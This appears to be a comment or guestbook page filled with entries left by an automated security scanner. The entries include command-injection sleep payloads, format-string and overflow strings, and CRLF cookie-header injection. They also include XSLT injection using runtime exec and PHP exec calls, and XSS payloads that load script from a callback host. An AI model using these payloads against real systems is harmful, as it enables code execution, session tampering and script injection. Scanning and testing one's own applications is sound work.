&sleep 15.0&
ZAP — 6/11/2026, 8:19:36 PM
;sleep 15.0;
ZAP — 6/11/2026, 8:19:36 PM
"&sleep 15.0&"
ZAP — 6/11/2026, 8:19:36 PM
";sleep 15.0;"
ZAP — 6/11/2026, 8:19:36 PM
'&sleep 15.0&'
ZAP — 6/11/2026, 8:19:36 PM
';sleep 15.0;'
ZAP — 6/11/2026, 8:19:36 PM
&timeout /T 15.0
ZAP — 6/11/2026, 8:19:36 PM
|timeout /T 15.0
ZAP — 6/11/2026, 8:19:36 PM
"&timeout /T 15.0&"
ZAP — 6/11/2026, 8:19:36 PM
"|timeout /T 15.0
ZAP — 6/11/2026, 8:19:36 PM
'&timeout /T 15.0&'
ZAP — 6/11/2026, 8:19:36 PM
'|timeout /T 15.0
ZAP — 6/11/2026, 8:19:36 PM
;start-sleep -s 15.0
ZAP — 6/11/2026, 8:19:36 PM
";start-sleep -s 15.0
ZAP — 6/11/2026, 8:19:36 PM
';start-sleep -s 15.0
ZAP — 6/11/2026, 8:19:36 PM
;start-sleep -s 15.0 #
ZAP — 6/11/2026, 8:20:11 PM
RKuMpLdoEpsRSNTusADrcoAfSMMPnqHYfGVohHjSudpcTvBJmuSeWxyDunpPRVIDaNNdhqWeNVTKnVHDgMSuWTjomLlAmXIGsVVJcckIOUApxbMfnfZvjNbAyNpuXkWyMMsnCpmRpZdkHBwGVcqGbTWhDhgPNmItGjyGlvhurnetPITeyepcZWlLDitHnGmEKesuCXbjKEIyqlImPhtSSFbnelfhKocVfkfTGHsFvWeRhxcPBojWZKKXvLaNVKyfRoUFRViZjYRvKPZXtUrAFZCCvmXoXQWFHLwQvKgVbyHsrqvFYfaZVdjJEhhJrBGdPtmJkDWqgklNlgWNfnUKIoRQuOfvaFujLrVaAgdsgyJpjBuuaxghUqXhINgEHBKcQHytCBTgNSoStUrDqLbZFvxgLadphwqkeGLgfvGqjTILKbtJXiRCqpiMyRsNFEJPwRICopwNWGJmuLEnHUdEOPZIKwQCPHFTcPxQCKVbQXQZKFMCOojjBWXTRUxKaETIKvUnGSXnFoVhUwCgqQaCUeikBtevGKonOnFYwtdaTMFjtEGrFxkuAKxDkTjMXVrxLWfHIfNOpiCTchtSOnljQAyTkkFvgBemWxgNDSoNmOHoGwYrNQXlnZTnGCyLoMvXYelwMUQGJBQcvMYndtfUtlIPdkdCZhVOPcQYDqMTdRekpsKJCsdMWNpsUIbcHeFDCfJsgdFZGjTwtfyCutoSEJxhMCOZMGgKgaBPiaoRPQjfASkUNpofZjLfPIwljAfornaOdSDvNGjwZOppDWWQZaeMtiIaIubGuvsIqSScmefJlXwYxOCDnbfEnqeKFiGVqOlhGXBCoMoCuBAilxZrofZDyTymlxyMkgvSdIdQOdxDNMjApueLHasWIWGOhMtfBlIBEBxSEPISWOKmTqbDKTAlLlojvYTRaWvfxAWPKvxQvCjpQywgelYrhXdqxaHjXkMrJOTTUfbrpNipTcUSsEjTKroxirXJpJoKugxuZquCVgRPRxhWTGQAkyZNrcpupKYPhTPHSOYVhHohXWLgaPwcZncDcfhDrnefBuvYYrILgNtOCjxjHystnLrRkIWfhhddNXRcHFNnQHMelwoQFiVXynHCsoDttfaIFPjTudXyRarhgBXLFPBhAdHsWRPkoyDwuxpVxtDjPKefMJahgjaIyAYjHmpWnnRnlLQKkdGCiVFwYGlOdrVAIlESDwhRvkaRLXOpjGZlVIbIPrfbXBIhjeYckXlRYbOjGWAQnkGWeEasKcbbfUmPxtWntByNruhDvuKhBJClUnyLhFaWyGHcVZZWiSrccsDJxpmgerFoPobRVMFHLgrZZSpFvbAtwLHuWRwhEbsXHbSeqapLgDjxvRDYofLXmKYerpADOEwDvQUibCsSSZtbwXGFWmgYFEsAoqFQxIYcosAHCOFJdDcPXIOKwLbgUVbRWxxIbdqYSttPKVhJTKevrMcishuKPnYjKsqItaKvVPpOsitwfpcmEcOBTYpxjvISPfGHUrpxgvWYlEOVUajmHVfyGjMEUwHxuKNvbuCxOCESOtyJSQVnuaQXbxwmrGAjKGKDLWxNQwiDgOjpZWJxsKWgHkeXPBdeYQFcmuWeJYvoVSgvUcbpjIWuFVaIrRoPmJyvZaTGVBgAxphhIfdNtkXFLpdYVRDlBvUZfrmZbTjIXsmieAjNUyiZAgDsmJZpgEbQgQNsYrHwpGDMpWDXDaMrCGUInUgbLOGEBYxBwQZgsOcyCselZoesdFEiGGGYUMwFkHCbavqvGhLhfggDKDqiIqbTkFqIRisFPhknUruWEAeeDQorJuhuGasWAJJdGLpqAvUdQgYjXpKuZQaxgZUKsOblHaFTEZgJGPSNCipTOmatgtnXsUlTbZdaWxOaLIBQslQHvCNnclOiNMnlhEiTUQRRvpEUYaZwoQKYDAskNUdfifPSmYsNIdswglrCsLLAgaTYitLITpcRAPsQkLhvCeHxnyOgbWQwkgqfAipdbLEbXEpmygPETSrnlwNqLLXjMxXShYDqoGvWlxbyUkGXGmVwAmvJCNBRlcolXHwtQnGFlqUiMIKLMKrBbqjUinvbxcfwJwoYvRNv — 6/11/2026, 8:20:15 PM
ZAP — 6/11/2026, 8:20:15 PM
oYqcwOvcfCSXerSBSHrKFrOAMAPYpPNoSLnGCdjyvLwlwWxhMqpTAWGmcBxkKAhuUcklgkpHeuRLQobMuSskSbaewfhRnVBAUNbTlwuSRGSwcMEUTwiYBycPIWhsKXiyOkOgknKUOUmkXuyPFrNtaBaUBTnTGFvGXfHZmaylAaMJRjAXHRMmOFjyeLMkWkGkkruuqxlyLXCFrZObyWepUjwXbdRURPmDwOfvBGIhSAnRerpLdcRwxTMvVQfRSkhcVpWeVWoVMkxbVDEjKLpZaAFBFFyQRqlUMobChZmriqTFUDfhXLfLqNKXjBMBcwZqHETYdmafNTWLUGXETCbQkIIptcYeVkVKNQlmynusCydAejufLLibjBeEGkpKJgPfUCksyJCGmLFGeyZiudovGSSuCqgxLlDlKmiQkWcsqwIAtoccBBSjyKIUCcOLUxTeCDHBccWjXtsFwqLqijqkpDpAGquTnYSOMWCTLpjWUkedituqIsdLJsDglRpkMbCpQkwGsHppJYpJYQKuDGyeJXrVlsBpwXsLoKKDOlBgrpqKjwGNXyeHfdmmESMpPmedTeQqmYYlxJhFghTixGsCjlPScqijXTalNncPwfXrnxHSuKBPRpcibFPeYuTJMuyhgSwklMEnTixVpPFnuXVyGWcJXNbEyDbRYuDtoULTAMTAPJykRPNfGaJiDyCjwMFtkxjVYmTlqxTUKRfbObEISjmNPadxjbUWxRHubSpBrmRWlcMixVtoFyUskHcEJTBtcEJTaXrLLOUsBvEnMewpKOLwHTHUwUYMEqWEHlVxgrEZtdAJUFnmCecDpeaeUIlOPeZAUydSsSrDjDWfrZUFHuhAKrpRAedfOcvtsiAZySOLJGvnecMRnavLlUwhfIAiEBOHsxoZfNpFARlHEfvoiCetrgVeKYNLjOoSqiXJLljoaHytNgOKQIpwatmCTdUfXFpSSnWnxakJqOjNkQvjeimGmJpbdnukZaXStWWGqaNvJeGLExLHbgsiRRoxZlwDuHRCjxFJYhjDvowYDljYZcQADeZXNYpBOhtfQKiZsTcPvaTOsGRHkwwXXUwGwMgcuLZAYIvPBVbshsuUCmMcXBZvCuRAEExlmDbyAVJZoSfspZCNUiCdvPCCJvPnOHgXrqmeLsNUbYHdXkaUutHirSwsJHgQMUfwAjMvLHjVVwtwOrXCHvhCunfXCrOGEGlMCfvTEiRrjnTeynOJjbadnQxiiDOUUYhqnkgEqyZjSXZDRDQxuLyZoIefNjeUBhJPNJoBxdkQwTXGSWvhGZhKocRKCbwIyJCDZFVwYrQHhuRboxOKdcuILcjgDIPxsGXvtdOxCrHWPPiMEnnbgCHCqKRtGCielPjJtdybGfVdebUKkKeEZkJZhHvRinHWMtoCEosuvMZrabBgEEYfXcAkRenmQUSnsNhinOluhRFVaxoYHqPpFWSiwkoQqPZFDlIDjsHPOqiIgArnxRLnmfYeKGuFdFLZUZOFkUplRvmAfPXUuhROOLpFHrKSdeOBWvNYKNjcyrtWBCDgsRfexAwsnGPcBVXsMCFSXflxRxGAjVKFBNfGSLhrsmREvUMBlBFUMgiwgieUeEDLEiKmTXPecIVDGkXKxKRYEKiuFIOobBPaDhvtUsanaGjknObFXOnWCbaUmJuNhQFotWNaTrtIQpnxAetsdSRoORLqFVkTkPEAOQwWPPohEWntATOdBSjrIJxgPqHEgdiSsQwULLOkSWdTydqcTbevNdmmHKOjPxlYpVVUyHNbyhKMQnqoLvVCxxserWvymSpvvhNosfuyJRaPsNMGjCLLSQeLINZtkuMkHUliTYpLhjxdJlMZnGBGXAHCjxIiRcxCslYDmNCSBNiykBNcVWRkhVWmdXHuJHNEuGcrUKsSIKVjBcTKfixklekUOvjCAeuaVPKocFRPvUMXNgohlknKcjmJhHuCsCfBhZEUVBAlsWbLkmDJucFtmXMJORKPNEwLDEsIMTKWnsQRsEaopmlUbgFaRODcjTXxWrpwIVBXrbPUifGroKHvMcGMaZRRKqeFEghctxcIgGIcccDtCyRbIersJtaDNRPfogZGXZoY
ZAP — 6/11/2026, 8:20:19 PM
ZAP%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s — 6/11/2026, 8:20:19 PM
ZAP %1!s%2!s%3!s%4!s%5!s%6!s%7!s%8!s%9!s%10!s%11!s%12!s%13!s%14!s%15!s%16!s%17!s%18!s%19!s%20!s%21!n%22!n%23!n%24!n%25!n%26!n%27!n%28!n%29!n%30!n%31!n%32!n%33!n%34!n%35!n%36!n%37!n%38!n%39!n%40!n — 6/11/2026, 8:20:19 PM
ZAP — 6/11/2026, 8:20:19 PM
ZAP
ZAP — 6/11/2026, 8:20:19 PM
ZAP%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s%n%s
ZAP — 6/11/2026, 8:20:19 PM
ZAP %1!s%2!s%3!s%4!s%5!s%6!s%7!s%8!s%9!s%10!s%11!s%12!s%13!s%14!s%15!s%16!s%17!s%18!s%19!s%20!s%21!n%22!n%23!n%24!n%25!n%26!n%27!n%28!n%29!n%30!n%31!n%32!n%33!n%34!n%35!n%36!n%37!n%38!n%39!n%40!n
Set-cookie: Tamper=f850c459-6129-4a6e-8cfe-621c2f69c954 — 6/11/2026, 8:20:22 PM
any Set-cookie: Tamper=f850c459-6129-4a6e-8cfe-621c2f69c954 — 6/11/2026, 8:20:22 PM
any? Set-cookie: Tamper=f850c459-6129-4a6e-8cfe-621c2f69c954 — 6/11/2026, 8:20:22 PM
any Set-cookie: Tamper=f850c459-6129-4a6e-8cfe-621c2f69c954 — 6/11/2026, 8:20:22 PM
any? Set-cookie: Tamper=f850c459-6129-4a6e-8cfe-621c2f69c954 — 6/11/2026, 8:20:22 PM
any Set-cookie: Tamper=f850c459-6129-4a6e-8cfe-621c2f69c954 — 6/11/2026, 8:20:22 PM
any? Set-cookie: Tamper=f850c459-6129-4a6e-8cfe-621c2f69c954 — 6/11/2026, 8:20:23 PM
ZAP — 6/11/2026, 8:20:23 PM
Set-cookie: Tamper=f850c459-6129-4a6e-8cfe-621c2f69c954
ZAP — 6/11/2026, 8:20:23 PM
any Set-cookie: Tamper=f850c459-6129-4a6e-8cfe-621c2f69c954
ZAP — 6/11/2026, 8:20:23 PM
any? Set-cookie: Tamper=f850c459-6129-4a6e-8cfe-621c2f69c954
ZAP — 6/11/2026, 8:20:23 PM
any Set-cookie: Tamper=f850c459-6129-4a6e-8cfe-621c2f69c954
ZAP — 6/11/2026, 8:20:23 PM
any? Set-cookie: Tamper=f850c459-6129-4a6e-8cfe-621c2f69c954
ZAP — 6/11/2026, 8:20:23 PM
any Set-cookie: Tamper=f850c459-6129-4a6e-8cfe-621c2f69c954
ZAP — 6/11/2026, 8:20:23 PM
any? Set-cookie: Tamper=f850c459-6129-4a6e-8cfe-621c2f69c954
ZAP — 6/11/2026, 8:20:26 PM
Anonymous — 6/11/2026, 8:20:27 PM
Anonymous — 6/11/2026, 8:20:27 PM
@ — 6/11/2026, 8:20:27 PM
+ — 6/11/2026, 8:20:27 PM
— 6/11/2026, 8:20:27 PM
| — 6/11/2026, 8:20:27 PM
ZAP — 6/11/2026, 8:20:27 PM
ZAP — 6/11/2026, 8:20:27 PM
ZAP — 6/11/2026, 8:20:27 PM
ZAP — 6/11/2026, 8:20:27 PM
@
ZAP — 6/11/2026, 8:20:27 PM
+
ZAP — 6/11/2026, 8:20:27 PM
ZAP — 6/11/2026, 8:20:27 PM
|
< — 6/11/2026, 8:20:37 PM
<xsl:value-of select="system-property('xsl:vendor')"/> — 6/11/2026, 8:20:37 PM
system-property('xsl:vendor')/> — 6/11/2026, 8:20:37 PM
"/><xsl:value-of select="system-property('xsl:vendor')"/><!-- — 6/11/2026, 8:20:37 PM
<xsl:value-of select="system-property('xsl:vendor')"/><!-- — 6/11/2026, 8:20:37 PM
<xsl:value-of select="document('http://cainc-demo.awsomedemos.com:22')"/> — 6/11/2026, 8:20:37 PM
<xsl:variable name="rtobject" select="runtime:getRuntime()"/> <xsl:variable name="process" select="runtime:exec($rtobject,'erroneous_command')"/> <xsl:variable name="waiting" select="process:waitFor($process)"/> <xsl:value-of select="$process"/> — 6/11/2026, 8:20:37 PM
<xsl:value-of select="php:function('exec','erroneous_command 2>&amp;1')"/> — 6/11/2026, 8:20:37 PM
ZAP — 6/11/2026, 8:20:37 PM
<
ZAP — 6/11/2026, 8:20:37 PM
ZAP — 6/11/2026, 8:20:37 PM
system-property('xsl:vendor')/>
ZAP — 6/11/2026, 8:20:37 PM
"/>
beramnhclssfhygoscumxssiirhsncahqgwgdh — 6/11/2026, 8:20:53 PM
ZAP — 6/11/2026, 8:20:53 PM
ZAP — 6/11/2026, 8:20:53 PM
beramnhclssfhygoscumxssiirhsncahqgwgdh
ZAP — 6/11/2026, 8:20:57 PM
ZAP — 6/11/2026, 8:20:57 PM
<script src="http://172.17.0.2:40875/cea0b933-d774-4c5d-91c6-6ce0623ff7cb"></script> — 6/11/2026, 8:21:02 PM
</script><script src="http://172.17.0.2:40875/b58ab83e-8e50-4c96-a976-859da6aa2119"> — 6/11/2026, 8:21:02 PM
" onload="var s=document.createElement(script);s.src={0};document.getElementsByTagName(head)[0].appendChild(s);" garbage=" — 6/11/2026, 8:21:02 PM
"><img src=x onerror="var s=document.createElement(script);s.src=http://172.17.0.2:40875/75c08601-f911-49d6-be79-2e7d33644217;document.getElementsByTagName(head)[0].appendChild(s);"> — 6/11/2026, 8:21:02 PM
ZAP — 6/11/2026, 8:21:02 PM
ZAP — 6/11/2026, 8:21:02 PM